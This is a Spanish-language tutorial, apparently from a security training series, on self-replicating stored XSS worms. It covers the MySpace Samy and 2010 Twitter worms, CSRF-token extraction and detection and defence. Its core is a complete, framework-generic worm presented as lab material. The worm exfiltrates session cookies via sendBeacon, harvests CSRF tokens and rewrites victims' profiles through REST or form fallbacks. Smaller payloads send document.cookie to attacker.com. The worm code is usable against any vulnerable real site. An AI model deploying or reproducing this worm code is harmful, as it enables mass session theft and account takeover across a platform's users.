XSS Stored — Tomo V: Wormable — El Payload que Se Replica Solo y Compromete una Plataforma Entera sin que el Atacante Mueva un Dedo
XSS Stored — Tomo V: Wormable — El Payload que Se Replica Solo y Compromete una Plataforma Entera sin que el Atacante Mueva un Dedo
"Samy Kamkar escribió 400 líneas de JavaScript un domingo. El lunes siguiente, más de un millón de personas lo llamaban su héroe sin saber por qué. Eso es lo que hace un XSS worm bien diseñado: convierte a la plataforma misma en el vector de ataque."
La Diferencia que Hace Historia
En el Tomo 4 aprendiste que XSS Stored es más peligroso que Reflected porque el sistema entrega el payload sin que el atacante haga nada después de la inyección inicial.
Pero hay un escalón más arriba. Un escalón que convierte un bug individual en un incidente masivo, que hace que plataformas enteras tengan que cerrar para contener el daño, y que le dio a un adolescente de California su segundo de fama internacional y una investigación del Servicio Secreto de los Estados Unidos.
Ese escalón es la auto-propagación.
Un XSS worm no solo ejecuta código en el navegador de la víctima. Usa ese navegador para replicarse a sí mismo — escribir una copia del payload en el perfil, comentario o mensaje de la víctima, de manera que cada nueva víctima se convierta en un nuevo vector de infección.
La propagación es exponencial. Sin intervención adicional del atacante.
Este tomo explica cómo funciona ese mecanismo, desgrana los casos históricos más importantes, y construye el código de un worm desde cero para que entiendas cada decisión técnica que lo hace posible.
Índice
- El ciclo de vida de un XSS worm: cuatro fases
- Historia: Samy Worm — cómo un perfil de MySpace infectó un millón de usuarios en 20 horas
- Disección técnica del Samy Worm — el código real y por qué funcionó
- Historia: Twitter onmouseover worm (2010) — propagación sin clic
- El mecanismo de auto-propagación: cómo un payload se lee y se copia a sí mismo
- El problema del CSRF token: el obstáculo principal y cómo los worms lo resuelven
- Construyendo un XSS worm moderno — código completo paso a paso
- Worms en aplicaciones con API REST — el vector más relevante en 2026
- Cómo un worm cambia la clasificación de severidad en bug bounty
- Detección y contención: cómo responden las plataformas cuando un worm se activa
- Defensa: qué hace que una aplicación sea resistente a worms XSS
- Laboratorio en el Cyber Range
- Lo que viene en el Tomo 6
1. El Ciclo de Vida de un XSS Worm: Cuatro Fases
A diferencia de un XSS Stored convencional (que tiene dos fases: almacenamiento y ejecución), un worm tiene cuatro:
FASE 1: INFECCIÓN INICIAL
El atacante inyecta el worm payload en un punto vulnerable
(perfil, comentario, mensaje)
↓
FASE 2: EJECUCIÓN EN LA VÍCTIMA
Usuario legítimo visita el contenido infectado
El payload se ejecuta en su navegador con sus credenciales
↓
FASE 3: ACCIÓN MALICIOSA (opcional)
El payload puede robar cookies, exfiltrar datos,
hacer acciones en nombre de la víctima
↓
FASE 4: AUTO-PROPAGACIÓN (el paso diferencial)
El payload usa las credenciales de la víctima para
escribir una copia de sí mismo en el perfil/contenido de la víctima
→ La víctima se convierte en nuevo vector de infección
→ Volver a FASE 2 con cada nuevo visitante
En el ciclo de vida de un XSS worm, el payload usa los privilegios propios de la víctima para enviar una request al servidor y cambiar su contenido. El contenido de la víctima ahora incluye una copia del worm, propagando la infección a cualquiera que lo visualice.
La clave está en la Fase 4. Sin ella, tienes XSS Stored — poderoso, pero lineal. Con ella, tienes un worm — exponencial, autónomo, y potencialmente imparable sin cerrar la plataforma.
2. Historia: Samy Worm — Cómo un Perfil de MySpace Infectó un Millón de Usuarios en 20 Horas
Fecha: 4 de octubre de 2005
Plataforma: MySpace — la red social más grande del mundo en ese momento, con más de 100 millones de usuarios
Autor: Samy Kamkar, 19 años, California
Resultado: Más de un millón de perfiles infectados en menos de 24 horas
El contexto técnico: por qué MySpace era vulnerable
MySpace permitía a los usuarios personalizar sus perfiles con HTML y CSS. Para evitar abuso, implementaron filtros que bloqueaban ciertas etiquetas y JavaScript. Pero los filtros eran incompletos.
Samy encontró múltiples bypass técnicos:
Bypass 1: MySpace bloqueaba javascript: en atributos pero no java\nscript: con newline
<!-- Bloqueado -->
<a href="javascript:alert(1)">click</a>
<!-- No bloqueado — newline en medio de la palabra -->
<div style="background:url('java
script:alert(1)')">
Bypass 2: MySpace bloqueaba expression en CSS pero no con comentarios CSS intercalados
/* Bloqueado */
div { width: expression(alert(1)) }
/* No bloqueado */
div { width: expr/**/ession(alert(1)) }
Bypass 3: IE combinaba atributos separados en distintas líneas
Samy explotó un comportamiento específico de Internet Explorer (el navegador dominante en 2005) donde atributos divididos en múltiples líneas eran "unidos" por el parser, permitiendo construir javascript como java en una línea y script en otra.
El vector de propagación
El payload de Samy hacía tres cosas:
- Acción social: Agregaba a Samy como amigo del visitante
- Propaganda: Agregaba "but most of all, samy is my hero" al perfil del visitante
- Auto-propagación: Copiaba el código del worm al perfil del visitante
Con cada nuevo perfil infectado, el worm tenía un nuevo vector. Con cada nuevo vector, llegaban más visitantes. El crecimiento era exponencial.
Las consecuencias
MySpace, entonces el sitio de redes sociales más popular del mundo, se vio forzado a tomar todo el sitio fuera de línea para contener el brote. El equipo de ingeniería tuvo que limpiar el código del worm de más de un millón de perfiles.Samy fue investigado por el Servicio Secreto de Estados Unidos. En 2007 llegó a un acuerdo judicial que incluía tres años de libertad condicional, 90 días de servicio comunitario, prohibición de usar computadoras por tres años, y una multa.
Samy se ha convertido desde entonces en un respetado investigador de seguridad, creando numerosos proyectos educativos.3. Disección Técnica del Samy Worm — El Código Real y Por Qué Funcionó
El payload completo de Samy era más complejo que la mayoría de los ejemplos que se citan. Aquí está la lógica central simplificada y modernizada para que sea comprensible:
// VERSIÓN EDUCATIVA SIMPLIFICADA DEL SAMY WORM
// (Para entender la mecánica, no para reproducir)
// PASO 1: Obtener el código del worm desde el propio DOM
// El worm necesita una referencia a sí mismo para copiarse
var worm_code = document.getElementById('payload').innerHTML;
// Este ID referencia el propio elemento <script> o <div> donde vive el worm
// PASO 2: Obtener el token CSRF (en MySpace era el "hash" de sesión)
// Samy hacía una request GET a su propia página de perfil
// y extraía el token de la respuesta
var xhr1 = new XMLHttpRequest();
xhr1.open('GET', 'http://www.myspace.com/index.cfm?fuseaction=user.viewProfile&friendID=SAMY_ID', false);
xhr1.send();
var response = xhr1.responseText;
// Extraer el token con regex del HTML de respuesta
var token_match = response.match(/token=([^&"]+)/);
var token = token_match ? token_match[1] : '';
// PASO 3: Construir el payload que se escribirá en el perfil de la víctima
// Incluye el código del worm + el texto "samy is my hero"
var new_profile_content = 'but most of all, samy is my hero<br>' + worm_code;
// PASO 4: Hacer POST al endpoint de actualización de perfil
// usando las credenciales activas de la víctima (está logueada)
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://www.myspace.com/index.cfm?fuseaction=profile.update', false);
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr2.send('token=' + token + '&about_me=' + encodeURIComponent(new_profile_content));
// PASO 5 (de las versiones maliciosas posteriores):
// Agregar a Samy como amigo — misma mecánica, diferente endpoint
Por qué cada paso importa
El paso más crítico es el PASO 1: el worm necesita una referencia a su propio código. Si el payload no puede leer su propio source, no puede copiarse. Samy resolvió esto apuntando a su propio elemento en el DOM con getElementById.
El paso más inteligente es el PASO 2: extraer el CSRF token antes de hacer el POST. Sin esto, la request de escritura sería rechazada por las protecciones CSRF. Pero si el XSS ya está ejecutando código, puede hacer el GET, leer el token del HTML, y usarlo en el POST — todo dentro de la misma sesión autenticada de la víctima.
El paso más devastador es el PASO 3: incluir worm_code en el contenido que se escribe. Sin esta línea, el payload haría una acción maliciosa pero no se propagaría. Con esta línea, la víctima se convierte en vector.
4. Historia: Twitter onmouseover Worm (2010) — Propagación Sin Clic
Cinco años después del Samy Worm, Twitter tuvo su propio incidente — y con un mecanismo aún más alarmante: el usuario ni siquiera necesitaba hacer clic.
Fecha: 21 de septiembre de 2010
Plataforma: Twitter.com (versión web)
Vector: Atributo onmouseover en links dentro de tweets
onmouseover en links de Twitter ejecutaba JavaScript sin ninguna interacción activa del usuario — solo al pasar el cursor sobre el link. Kinugawa reportó la vulnerabilidad a Twitter el 14 de agosto. Twitter la parchó, pero luego, de manera catastrófica, permitió que reapareciera.
El payload era brutalmente simple:
<!-- Tweet con payload wormable -->
<a href="http://t.co/link" onmouseover="
/* Exfiltrar cookies */
new Image().src='https://attacker.com/?c='+document.cookie;
/* Auto-propagarse: retweetear el tweet infectado */
$.post('/status/update', {
status: '<a onmouseover=\'eval(atob(\"PAYLOAD_BASE64\"))\'>XSS</a>',
authenticity_token: $('input[name=authenticity_token]').val()
});
">hover me</a>
Un hacker utilizó la vulnerabilidad de XSS stored en Twitter para crear un worm que explotaba el evento onmouseover. Cuando los usuarios pasaban el cursor sobre los links, el worm se retweeteaba a sí mismo, causando propagación. El worm afectó a numerosos usuarios de Twitter y causó vergüenza para la plataforma, que tuvo que tomar medidas inmediatas.
La diferencia con Samy: El Twitter worm no requería que la víctima hiciera clic — solo pasar el mouse sobre el link. En dispositivos de escritorio donde el mouse se mueve constantemente, esto hacía la propagación virtualmente automática.
Kaspersky advirtió inmediatamente: "esta vulnerabilidad parece al menos semi-wormable". También alertó que "es posible cargar JavaScript secundario desde una URL externa sin interacción del usuario", y que ya se había detectado un worm activo explotando la vulnerabilidad.5. El Mecanismo de Auto-Propagación: Cómo un Payload Se Lee y Se Copia a Sí Mismo
Esta es la mecánica central que distingue un XSS worm de XSS Stored convencional. Hay tres técnicas principales para que un payload acceda a su propio código:
Técnica 1: Referencia por ID de elemento DOM
// El script vive en un elemento con ID conocido
<script id="worm">
var my_code = document.getElementById('worm').outerHTML;
// my_code ahora contiene el script completo incluyendo las etiquetas
// Este string se incluye en el contenido que se escribe en la víctima
</script>
Ventaja: Simple y directo
Desventaja: Requiere que el elemento tenga un ID predecible y que esté en el DOM
Técnica 2: Fetch del propio recurso
// El worm hace fetch de la URL donde está almacenado
fetch('/profiles/' + victim_username)
.then(r => r.text())
.then(html => {
// Extraer el payload del HTML de la página infectada
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var worm_element = doc.getElementById('worm');
var worm_code = worm_element ? worm_element.outerHTML : '';
// Ahora escribir en la página de la víctima
propagate(worm_code);
});
Ventaja: No depende del estado actual del DOM — lee el código tal como está almacenado
Desventaja: Requiere una request adicional; el CORS puede impedirlo si hay iframes o dominios cruzados
Técnica 3: Hardcode base64 (más resistente)
// El payload completo está codificado en base64 dentro de sí mismo
<img src=x onerror="
var payload = '<img src=x onerror=eval(atob(\'BASE64_DEL_PAYLOAD_COMPLETO\'))>';
// El BASE64 es la codificación del script completo, incluyendo esta línea
// Se calcula antes de desplegar el worm
propagate(payload);
">
Ventaja: El payload es un string estático — no necesita leer el DOM
Desventaja: El base64 debe calcularse cuidadosamente para que sea autorreferencial; puede ser detectado más fácilmente por WAFs que detectan strings base64 largos
6. El Problema del CSRF Token: El Obstáculo Principal y Cómo los Worms lo Resuelven
La mayoría de aplicaciones modernas protegen sus endpoints de escritura con tokens CSRF — un valor único por sesión que debe incluirse en cada POST para demostrar que la request vino del sitio legítimo.
El problema: ¿cómo puede un XSS worm obtener el token CSRF para hacer el POST que lo propaga?
La respuesta es la ironía perfecta de la seguridad web: el mismo XSS que el token CSRF debería proteger, permite obtener el token.
Paso a paso: extracción de CSRF token en worm moderno
// FASE 1: GET a la página que contiene el formulario de escritura
// Este fetch usa las credenciales activas de la víctima (same-origin)
fetch('/profile/edit', {
credentials: 'include' // Envía las cookies de sesión de la víctima
})
.then(response => response.text())
.then(html => {
// FASE 2: Parsear el HTML y extraer el token CSRF
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
// El token puede estar en un input hidden, en un meta tag, o en un header
var csrf_token =
// Opción A: input hidden (Django, Rails, Laravel)
(doc.querySelector('input[name="csrf_token"]') ||
doc.querySelector('input[name="_token"]') ||
doc.querySelector('input[name="authenticity_token"]') ||
// Opción B: meta tag (Rails, algunos SPAs)
doc.querySelector('meta[name="csrf-token"]'))?.value ||
// Opción C: extraer con regex si está embebido en JS
(html.match(/"csrf[_-]token"\s*:\s*"([^"]+)"/) || [])[1];
// FASE 3: Construir el payload de propagación
var worm_payload = document.getElementById('worm').outerHTML;
// FASE 4: POST al endpoint de actualización con el token válido
return fetch('/api/profile', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf_token // Algunos frameworks lo esperan en header
},
body: JSON.stringify({
bio: 'Check this out! ' + worm_payload,
_token: csrf_token // Algunos frameworks lo esperan en el body
})
});
})
.then(r => r.json())
.then(data => {
// Confirmación opcional — exfiltrar resultado
new Image().src = 'https://attacker.com/propagation?status=' +
(data.success ? 'ok' : 'failed');
});
Como el XSS permite al código malicioso extraer el CSRF token de la respuesta HTML, y luego usarlo en el POST, el token CSRF no protege contra XSS worms. Twitter reconoció en 2010 que necesitaba mejorar sus defensas CSRF, pero también admitió que mientras existiera el XSS subyacente, el código podía extraer el token y usarlo.
Esta es la razón por la que CSRF sin sanitización de XSS es una defensa incompleta. Primero hay que eliminar el XSS, no solo agregar tokens.
7. Construyendo un XSS Worm Moderno — Código Completo Paso a Paso
Lo que sigue es el código completo de un XSS worm para entorno de laboratorio. Está diseñado para ejecutarse en el Cyber Range de TribuCibernética contra la aplicación de práctica, donde tienes autorización explícita.
Nunca uses este código fuera de entornos autorizados. El despliegue de un XSS worm contra sistemas reales sin autorización es un delito penal.
// ============================================================
// XSS WORM — TribuCibernética Cyber Range
// Solo para uso en entorno de laboratorio autorizado
// Lab: XSS-S07 — Worm Propagation Challenge
// ============================================================
(function XSSWorm() {
// ── CONFIGURACIÓN ──────────────────────────────────────────
var CAPTURE_SERVER = 'https://cyber-range.tribucibernetica.com';
var WORM_ID = 'tc_worm_v1'; // ID único del worm en el DOM
// ── PASO 1: VERIFICAR QUE NO ESTAMOS REINFECTANDO ─────────
// Evitar loop infinito si el perfil ya está infectado
if (document.querySelector('[data-worm="' + WORM_ID + '"]')) {
return; // Ya infectado, no hacer nada
}
// ── PASO 2: EXFILTRACIÓN DE DATOS ─────────────────────────
// Capturar información de la sesión actual antes de propagar
var session_data = {
cookies: document.cookie,
url: window.location.href,
username: document.querySelector('.username, [data-username]')?.textContent?.trim(),
timestamp: new Date().toISOString()
};
// Enviar al servidor de captura (asíncrono, no bloquea la propagación)
navigator.sendBeacon(
CAPTURE_SERVER + '/capture',
JSON.stringify(session_data)
);
// ── PASO 3: OBTENER EL CÓDIGO DEL WORM (auto-referencia) ──
// Método 1: Desde el elemento actual en el DOM
// El worm asume que se ejecuta desde un elemento con atributo data-worm
var worm_element = document.querySelector('[data-worm="' + WORM_ID + '"]') ||
document.currentScript;
var worm_code = worm_element ?
'<script data-worm="' + WORM_ID + '">' +
worm_element.textContent +
'<\/script>' : null;
if (!worm_code) {
// Método 2 fallback: fetch del perfil para extraer el worm
// (asíncrono — continúa con propagación después)
fetch(window.location.href, {credentials: 'include'})
.then(r => r.text())
.then(html => {
var match = html.match(/<script[^>]*data-worm="tc_worm_v1"[^>]*>([\s\S]+?)<\/script>/);
if (match) {
propagate('<script data-worm="tc_worm_v1">' + match[1] + '<\/script>');
}
});
return;
}
propagate(worm_code);
// ── PASO 4: FUNCIÓN DE PROPAGACIÓN ────────────────────────
function propagate(code_to_spread) {
// FASE A: Obtener token CSRF
fetch('/profile/edit', {credentials: 'include'})
.then(r => r.text())
.then(html => {
// Extraer CSRF token (compatibilidad con múltiples frameworks)
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var csrf = extractCSRF(doc, html);
if (!csrf) {
// Sin CSRF token — intentar POST directo (algunos endpoints no lo requieren)
writeToProfile(code_to_spread, null);
return;
}
// FASE B: Escribir en el perfil de la víctima
writeToProfile(code_to_spread, csrf);
})
.catch(err => {
// Si falla el GET, intentar propagación sin token
writeToProfile(code_to_spread, null);
});
}
// ── EXTRACCIÓN DE CSRF ────────────────────────────────────
function extractCSRF(doc, raw_html) {
// Orden de prioridad de búsqueda
return (
// Django / Flask / genérico
doc.querySelector('[name="csrf_token"]')?.value ||
doc.querySelector('[name="csrfmiddlewaretoken"]')?.value ||
// Laravel
doc.querySelector('[name="_token"]')?.value ||
// Rails
doc.querySelector('[name="authenticity_token"]')?.value ||
doc.querySelector('meta[name="csrf-token"]')?.getAttribute('content') ||
// En JS inline
(raw_html.match(/"csrf[_\-]?token"\s*:\s*"([^"]{20,})"/i) || [])[1] ||
(raw_html.match(/csrf[_\-]?token['":\s]+([a-zA-Z0-9_\-]{20,})/i) || [])[1] ||
null
);
}
// ── ESCRITURA EN PERFIL ───────────────────────────────────
function writeToProfile(payload, csrf_token) {
var infection_content = 'Check out this cool security article!' + payload;
// Construir headers
var headers = {'Content-Type': 'application/json'};
if (csrf_token) {
headers['X-CSRFToken'] = csrf_token;
headers['X-CSRF-Token'] = csrf_token;
}
// Intentar API REST primero
fetch('/api/profile', {
method: 'PATCH',
credentials: 'include',
headers: headers,
body: JSON.stringify({
bio: infection_content,
...(csrf_token && {_token: csrf_token, csrf_token: csrf_token})
})
})
.then(r => {
if (!r.ok) {
// Fallback: form POST (para apps sin API REST)
submitFormPost(infection_content, csrf_token);
} else {
// Confirmar propagación exitosa
new Image().src = CAPTURE_SERVER + '/propagated?u=' +
encodeURIComponent(session_data.username || 'unknown');
}
});
}
// ── FALLBACK: FORM POST ───────────────────────────────────
function submitFormPost(content, csrf_token) {
var form = document.createElement('form');
form.method = 'POST';
form.action = '/profile/update';
form.style.display = 'none';
var fields = {
bio: content,
...(csrf_token && {csrf_token: csrf_token, _token: csrf_token})
};
Object.entries(fields).forEach(([name, value]) => {
var input = document.createElement('input');
input.type = 'hidden';
input.name = name;
input.value = value;
form.appendChild(input);
});
document.body.appendChild(form);
form.submit();
}
})(); // IIFE — se ejecuta inmediatamente
Análisis del código
IIFE (línea final): El worm se envuelve en una función que se invoca inmediatamente. Esto evita contaminar el scope global y permite usar return para abortar temprano.
Check de reinfección (Paso 1): Sin esto, el worm entraría en un loop infinito infectando el mismo perfil repetidamente. La verificación de data-worm en el DOM evita re-ejecución.
navigator.sendBeacon (Paso 2): Más confiable que fetch para exfiltración porque el browser garantiza el envío aunque la página cambie o se cierre. No bloquea la propagación.
Extracción multi-framework de CSRF (función extractCSRF): Cubre Django, Flask, Laravel, Rails y formatos JSON. En aplicaciones reales, el formato del token varía — la función prueba todos.
Fallback de form POST: Cuando la API REST falla o no existe, el worm intenta un submit de formulario clásico. Esto cubre aplicaciones legacy que no usan APIs.
8. Worms en Aplicaciones con API REST — El Vector Más Relevante en 2026
Las aplicaciones modernas tienen una superficie de propagación diferente a MySpace 2005. Hoy todo es SPA + API REST. Esto cambia la mecánica del worm pero no lo hace menos posible.
El escenario moderno: React/Vue + API
Usuario A (atacante) inyecta payload en campo "bio" via API:
POST /api/users/me/bio
{"bio": "<script data-worm='tc_worm_v1'>...</script>"}
La app guarda el bio sin sanitizar en la DB.
Usuario B visita el perfil del atacante:
GET /api/users/attacker/profile
→ Frontend React recibe JSON con el bio
→ Componente hace: <div dangerouslySetInnerHTML={{__html: profile.bio}} />
→ Script se ejecuta en el contexto de la sesión del Usuario B
El worm en el browser del Usuario B:
→ GET /api/users/me/profile (con session del Usuario B)
→ Extrae CSRF token del response header X-CSRF-Token
→ PATCH /api/users/me/bio con el worm payload
→ El bio del Usuario B ahora tiene el worm
Usuario C visita el perfil del Usuario B...
El vector de CSRF token en APIs modernas
En APIs REST modernas, el CSRF token frecuentemente viene como:
// Option 1: Header personalizado en la response
response.headers.get('X-CSRF-Token')
// Option 2: Cookie con valor legible (no HttpOnly)
document.cookie.match(/csrf[_-]?token=([^;]+)/i)?.[1]
// Option 3: Respuesta de un endpoint dedicado
fetch('/api/csrf-token', {credentials: 'include'})
.then(r => r.json())
.then(data => data.token)
Un worm moderno debe cubrir los tres casos.
9. Cómo un Worm Cambia la Clasificación de Severidad en Bug Bounty
En el Tomo 3 explicamos que el impacto determina la severidad. Un XSS worm eleva automáticamente cualquier hallazgo porque:
| Factor | XSS Stored normal | XSS Stored wormable |
|---|---|---|
| Víctimas potenciales | Usuarios que visitan la página infectada | Toda la base de usuarios de la plataforma |
| Intervención del atacante | Nula después de la inyección | Nula — el worm se propaga solo |
| Tiempo hasta impacto masivo | Proporcional al tráfico | Exponencial — horas a días |
| Dificultad de contención | Eliminar el contenido infectado | Requiere cierre de la plataforma o desactivación de features |
| Severidad en BB | High | Critical (P1) |
| Payout típico | $1,000 → $5,000 | $5,000 → $50,000+ |
Cómo demostrar propagación en un reporte de bug bounty
No despliegues un worm real en producción. Eso es ilegal y hace que el programa te descalifique.
Sí demuestra el mecanismo completo con dos cuentas de prueba:
1. Con cuenta A: inyectar el payload en campo vulnerable
2. Con cuenta B (browser separado): visitar el perfil/contenido de A
3. Verificar que el bio/contenido de B fue modificado con el payload
4. Con cuenta C (browser separado): visitar el perfil de B
5. Verificar que el bio/contenido de C fue modificado
Esa cadena de 3 niveles (A infecta B, B infecta C) es suficiente prueba de wormabilidad. No necesitas N=1,000,000.
En el reporte, incluye:
- Descripción explícita de cómo la propagación escala exponencialmente
- Video de la cadena de tres niveles
- Cálculo aproximado: si el perfil tiene X visitantes promedio por día, en Y días la infección alcanza Z% de la base de usuarios
- Referencia al Samy Worm como precedente histórico documentado
10. Detección y Contención: Cómo Responden las Plataformas
Cuando un XSS worm se activa en producción, el equipo de seguridad tiene opciones limitadas y un reloj corriendo.
Señales de detección temprana
- Spike anómalo en requests POST a endpoints de actualización de perfil
- Patrón de requests idénticos (mismo payload) desde múltiples IPs/usuarios
- Aumento inusual de requests GET seguidas de POST en pares rápidos (el patrón de extracción de token + escritura)
- Quejas de usuarios sobre contenido modificado sin su intervención
- WAF alerts sobre payloads de script en campos de texto
Opciones de contención (en orden de impacto)
Opción 1 (quirúrgica, lenta): Identificar y limpiar el contenido infectado en la DB. Requiere conocer el patrón exacto del worm. Efectivo pero toma tiempo mientras el worm sigue propagándose.
Opción 2 (rápida, disruptiva): Desactivar temporalmente los endpoints de escritura que el worm usa para propagarse. Los usuarios no pueden actualizar perfiles, pero la propagación se detiene.
Opción 3 (nuclear, efectiva): Tomar la plataforma fuera de línea. Única opción garantizada. Es lo que MySpace tuvo que hacer.
Opción 4 (preventiva post-incidente): Invalidar todas las sesiones activas. Rompe el worm (que depende de sesiones activas) pero desloguea a todos los usuarios.
11. Defensa: Qué Hace que una Aplicación Sea Resistente a Worms XSS
La resistencia a XSS worms requiere defensas en múltiples capas:
Capa 1: Eliminar el XSS (la única defensa real)
Sin XSS, no hay worm. Output encoding correcto en todos los sinks elimina la posibilidad de ejecución de payload.
Capa 2: SameSite Cookies
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
SameSite=Strict previene que el browser envíe la cookie en requests cross-site. Esto no detiene un worm que opera en el mismo origen, pero elimina algunos vectores de entrega.
Capa 3: Rate limiting en endpoints de escritura
# Ejemplo: máximo 5 actualizaciones de perfil por hora por usuario
@rate_limit(max_requests=5, window=3600, key='user_id')
def update_profile(user_id, data):
...
Un worm que propaga a cientos de usuarios por hora necesita hacer cientos de requests. Rate limiting agresivo en endpoints de escritura ralentiza la propagación hasta hacerla manejable.
Capa 4: Monitoreo de patrones de escritura anómalos
# Alertar si el mismo contenido se escribe en múltiples perfiles en corto tiempo
def check_worm_pattern(content, user_id):
recent_identical = db.count(
"SELECT COUNT(*) FROM profile_updates
WHERE content_hash = ? AND updated_at > NOW() - INTERVAL 1 HOUR",
[hash(content)]
)
if recent_identical > 10:
alert_security_team(f"Possible worm pattern: {recent_identical} identical writes")
Capa 5: CSP estricta
Una CSP que bloquee scripts inline y restrinja las URLs de connect-src no elimina el XSS, pero puede prevenir la exfiltración de datos y limitar la capacidad del worm para comunicarse con el servidor del atacante.
12. Laboratorio en el Cyber Range
Los labs del Tomo 5 son los más avanzados de la ruta CP02:
Lab XSS-S06: Análisis del Samy Worm simplificado — reproducir la lógica en entorno moderno
Lab XSS-S07: Construir y desplegar un XSS worm completo en la app de práctica del Cyber Range
Lab XSS-S08: Worm en aplicación con API REST — extracción de token y propagación via fetch
Lab XSS-S09: Defensa activa — detectar y contener un worm activo antes de que alcance N usuarios
El Lab XSS-S09 invierte el rol: eres el defensor, el worm ya está activo, y tienes 15 minutos para detectar el patrón, identificar el payload, y detener la propagación antes de que llegue al 10% de la base de usuarios simulada.
13. Lo que Viene en el Tomo 6
El Tomo 6 cierra la serie de XSS Stored con el territorio más relevante para profesionales de seguridad corporativa:
XSS Stored en aplicaciones enterprise:
- Jira y Confluence — cómo los campos de texto enriquecido han sido vectores de stored XSS en versiones on-premise y cloud
- GitLab y GitHub — XSS en comentarios de issues, wikis, y archivos markdown renderizados
- Slack y Microsoft Teams — mensajes con formato y previews de links como vectores
- WordPress y CMS populares — plugins desactualizados como superficie de ataque masiva
Por qué el enterprise es diferente:
En aplicaciones de consumo, el impacto de un XSS worm es robo de sesiones y propagación masiva. En enterprise, el impacto es acceso a repositorios de código privado, documentos confidenciales, tickets de soporte internos, y credenciales de CI/CD. Una cadena de XSS Stored en Jira que llega a un admin con acceso al pipeline de deployment es un incidente de seguridad de nivel 1.
Glosario Rápido — Tomo 5
| Término | Definición |
|---|---|
| XSS Worm | Payload stored XSS que se replica automáticamente a otros usuarios/perfiles |
| Auto-propagación | La capacidad del worm de copiarse usando las credenciales de la víctima |
| IIFE | Immediately Invoked Function Expression — función que se ejecuta al definirse |
| navigator.sendBeacon | API del browser para enviar datos antes de que la página se descargue |
| CSRF token extraction | El proceso por el cual el worm obtiene el token anti-CSRF para hacer POSTs válidos |
| Rate limiting | Restricción del número de requests que un usuario puede hacer en un período |
| SameSite cookie | Atributo de cookie que restringe su envío en requests cross-site |
| Propagación exponencial | Crecimiento donde cada víctima puede infectar N nuevas víctimas — 1→N→N²→N³ |
| Reinfección | Cuando el worm infecta un host ya infectado — produce loops; debe prevenirse |
| Worm signature | Patrón único del payload que permite detectar y rastrear un worm específico |
Referencias Técnicas
- Samy Kamkar — "The MySpace Worm" — samy.pl/myspace (explicación del autor)
- Wikipedia — Samy (computer worm) — documentación histórica
- DarkReading — "Twitter Attack: An XSS Wake-Up Call" (Sep 2010)
- Help Net Security — "XSS Twitter flaw used to expose users" (Sep 2010)
- NYU Osiris Lab — "Writing an XSS Worm" (Diaspora case study)
- GitHub — vavkamil/XSSworm.dev — self-replication contest PoC
- PathCutter: Severing the Self-Propagation Path of XSS JavaScript Worms — Northwestern University
- HackerOne Blog — Stored XSS and the Samy Worm precedent (2026)
- OWASP Testing Guide v4.2 — OTG-CLIENT-002
¿Completaste el Lab XSS-S07 y construiste tu primer worm funcional? Postea tu writeup en el Discord con el tag #worm-challenge. Los mejores writeups se publican en el blog de TribuCibernetica.
→ Leer Tomo 4: Anatomía del XSS Stored
→ Leer Tomo 6: XSS Stored en Enterprise — Jira, GitLab, Slack y más
→ Practicar Labs XSS-S06 al S09 en el Cyber Range
→ Unirse al Discord de TribuCibernética
© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad. El despliegue de XSS worms contra sistemas sin autorización explícita es un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones. Practica exclusivamente en entornos autorizados como el Cyber Range de TribuCibernetica.
[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.